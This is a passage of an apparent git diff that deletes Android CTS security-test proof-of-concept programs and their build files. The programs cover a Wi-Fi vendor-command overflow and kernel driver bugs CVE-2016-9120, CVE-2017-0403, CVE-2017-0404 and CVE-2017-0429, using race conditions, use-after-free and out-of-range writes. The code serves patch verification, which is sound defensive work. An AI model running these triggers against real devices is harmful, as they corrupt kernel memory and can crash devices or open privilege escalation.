-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- struct nlattr *rret3;
- struct nlattr *rret4;
- unsigned char buf_test[256];
-
- int i = 0;
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
- unsigned char SSID11[DOT11_MAX_SSID_LEN];
- struct nl80211_sta_flag_update flags;
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
- rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
- if (!rret2) {
- return 1;
- }
-
- for (i = 0; i < 4; ++i) {
- rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
- if (!rret3) {
- return 1;
- }
-
- nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
- nla_nest_end(msg, rret3);
- }
-
- nla_nest_end(msg, rret2);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index 350e283..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
- ION_HEAP_TYPE_SYSTEM,
- ION_HEAP_TYPE_SYSTEM_CONTIG,
- ION_HEAP_TYPE_CARVEOUT,
- ION_HEAP_TYPE_CHUNK,
- ION_HEAP_TYPE_DMA,
- ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
- are at the end of this enum */
- ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK (1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK (1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK (1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK (1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
- size_t len;
- size_t align;
- unsigned int heap_id_mask;
- unsigned int flags;
- ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
- ion_user_handle_t handle;
- int fd;
-};
-
-
-struct ion_handle_data {
- ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
- unsigned int cmd;
- unsigned long arg;
-};
-#define ION_IOC_MAGIC 'I'
-
-#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
- struct ion_allocation_data)
-
-#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1 /* mappings of this buffer should be
- cached, ion will do cache
- maintenance when the buffer is
- mapped for dma */
-#define ION_FLAG_CACHED_NEEDS_SYNC 2 /* mappings of this buffer will created
- at mmap time, if this is set
- caches must be managed manually */
-
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
- char* dev_path = "/dev/ion";
- g_fd = open(dev_path, O_RDONLY);
- if (g_fd < 0) {
- printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
- } else {
- printf("[*] open file(%s) succ!\n", dev_path);
- }
- return g_fd;
-}
-
-void prepare_data() {
- void* data = malloc(0x1000);
-
- g_allocation = (struct ion_allocation_data*)data;
-
- g_allocation->len = 0x1000;
- g_allocation->align = 8;
- g_allocation->heap_id_mask = 1 << 25;
- g_allocation->flags = ION_FLAG_CACHED;
- g_allocation->handle = -1;
-
- mprotect(data, 0x1000, PROT_READ);
- printf("[*] mprotect, error = %d\n", errno);
-
- g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
- ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
- ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
- setpriority(PRIO_PROCESS, gettid(), privi);
-
- /* bind process to a CPU*/
- if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
- }
-}
-void* race_thread(void* arg) {
- setup_privi_and_affinity(-19, 2);
- while (1) {
- pthread_mutex_lock(&mutex);
- pthread_cond_wait(&cond, &mutex);
- trigger_ion_free();
- pthread_mutex_unlock(&mutex);
- }
-
-}
-
-
-int main(int argc, char**argv) {
- if (open_driver() < 0) {
- return -1;
- }
- setup_privi_and_affinity(0, 1);
- prepare_data();
- pthread_t tid;
- pthread_create(&tid, NULL, race_thread, NULL);
- sleep(1);
- while (1) {
- pthread_cond_signal(&cond);
- usleep(100);
- trigger_ion_alloc();
- sleep(1);
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index 4addb61..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-format -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
- /*
- * Major type: hardware/software/tracepoint/etc.
- */
- __u32 type;
-
- /*
- * Size of the attr structure, for fwd/bwd compat.
- */
- __u32 size;
-
- /*
- * Type specific configuration information.
- */
- __u64 config;
-
- union {
- __u64 sample_period;
- __u64 sample_freq;
- };
-
- __u64 sample_type;
- __u64 read_format;
-
- __u64 disabled : 1, /* off by default */
- inherit : 1, /* children inherit it */
- pinned : 1, /* must always be on PMU */
- exclusive : 1, /* only group on PMU */
- exclude_user : 1, /* don't count user */
- exclude_kernel : 1, /* ditto kernel */
- exclude_hv : 1, /* ditto hypervisor */
- exclude_idle : 1, /* don't count when idle */
- mmap : 1, /* include mmap data */
- comm : 1, /* include comm data */
- freq : 1, /* use freq, not period */
- inherit_stat : 1, /* per task counts */
- enable_on_exec : 1, /* next exec enables */
- task : 1, /* trace fork/exit */
- watermark : 1, /* wakeup_watermark */
- /*
- * precise_ip:
- *
- * 0 - SAMPLE_IP can have arbitrary skid
- * 1 - SAMPLE_IP must have constant skid
- * 2 - SAMPLE_IP requested to have 0 skid
- * 3 - SAMPLE_IP must have 0 skid
- *
- * See also PERF_RECORD_MISC_EXACT_IP
- */
- precise_ip : 2, /* skid constraint */
- mmap_data : 1, /* non-exec mmap data */
- sample_id_all : 1, /* sample_type all events */
-
- exclude_host : 1, /* don't count in host */
- exclude_guest : 1, /* don't count in guest */
-
- exclude_callchain_kernel : 1, /* exclude kernel callchains */
- exclude_callchain_user : 1, /* exclude user callchains */
- constraint_duplicate : 1,
-
- __reserved_1 : 40;
-
- union {
- __u32 wakeup_events; /* wakeup every n events */
- __u32 wakeup_watermark; /* bytes before wakeup */
- };
-
- __u32 bp_type;
- union {
- __u64 bp_addr;
- __u64 config1; /* extension of config */
- };
- union {
- __u64 bp_len;
- __u64 config2; /* extension of config1 */
- };
- __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
- /*
- * Defines set of user regs to dump on samples.
- * See asm/perf_regs.h for details.
- */
- __u64 sample_regs_user;
-
- /*
- * Defines size of the user stack to dump on samples.
- */
- __u32 sample_stack_user;
-
- /* Align to u64. */
- __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
- printf("id=%d arg=%d\n",gettid(),arg);
-
- int i;
- struct perf_event_attr attr;
-
- switch ((long)arg) {
- case 0:
- //#16123
- printf("thread 0\n");
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 1;
-
- group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
- -1, 0x1ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-group:");
- }
-
-
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 5;
-
- child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-child:");
- }
-
- created = 1;
- break;
- case 1:
-
- while(!created){
- sleep(1);
- }
-
- printf("thread 1\n");
- close(group_fd[0]);
-
- freed = 1;
-
- break;
- case 2:
-
- printf("thread 2\n");
-
- while(!freed){
- sleep(1);
- }
-
- close(child_fd[0]);
-
- finished = 1;
-
- break;
-
- }
- return 0;
-}
-
-int poc() {
- long i;
- pthread_t th[5];
- for (i = 0; i < 3; i++) {
- pthread_create(&th[i], 0, thr, (void *)i);
- usleep(10000);
- }
-
- while(!finished){
- sleep(1);
- }
-
- return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
- int pid;
- unsigned int times;
- times = 0;
- printf("POC3\n");
- printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
- fflush(stdout);
-
- // while(1){
- pid = fork();
- if(pid){
- int status;
- int ret = waitpid(pid,&status,0);
-
- printf("[%d]times.\r",times);
- times++;
- }else
- return poc();
- // }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index 47c4c71..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-constant-conversion
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
- memset(buf, 0xa0, sizeof(buf));
-
- int fd = open("/proc/asound/version", O_RDWR);
- if(fd != -1){
- lseek(fd, 0x1234567800000000, SEEK_SET);
- write(fd, buf, sizeof(buf));
- }else{
- perror("open error\n");
- }
- close(fd);
- return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index ec6d5bf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
- union {
- __u32 id; /* FromId */
- __u32 size; /* CreateHandle */
- __s32 fd; /* DmaBufFd or FromFd */
- };
- __u32 handle; /* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
- __u32 handle; /* nvmap handle */
- __u32 heap_mask; /* heaps to allocate from */
- __u32 flags; /* wb/wc/uc/iwb etc. */
- __u32 align; /* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- return ret;
-}
-
-#define SZ_128K 0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
- __u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
- __u64 offset; /* in, byte address */
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
- __u32 flags; /* in */
- __u32 padding; /* in */
- union {
- __u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
- __u64 align; /* in, alignment multiple (0:={1 or n/a}) */
- } o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM 1
-#define TRY_TIMES 2
-#define NVMAPDEV "/dev/nvmap"
-#define GPUDEV "/dev/nvhost-gpu"
-#define ASDEV "/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
- int i, j, ret;
- int dma1, dma2;
- struct nvmap_create_handle args = {
- .size = PAGE_SIZE
- };
- struct nvhost_as_bind_channel_args as_bind = { 0 };
- struct nvhost_as_alloc_space_args alloc = {
- .pages = 1,
- .page_size = SZ_128K,
- .flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
- };
- struct nvhost_as_free_space_args free_arg = {
- .pages = 1,
- .page_size = SZ_128K
- };
-
- /* bind_cpu */
- set_affinity(0);
-
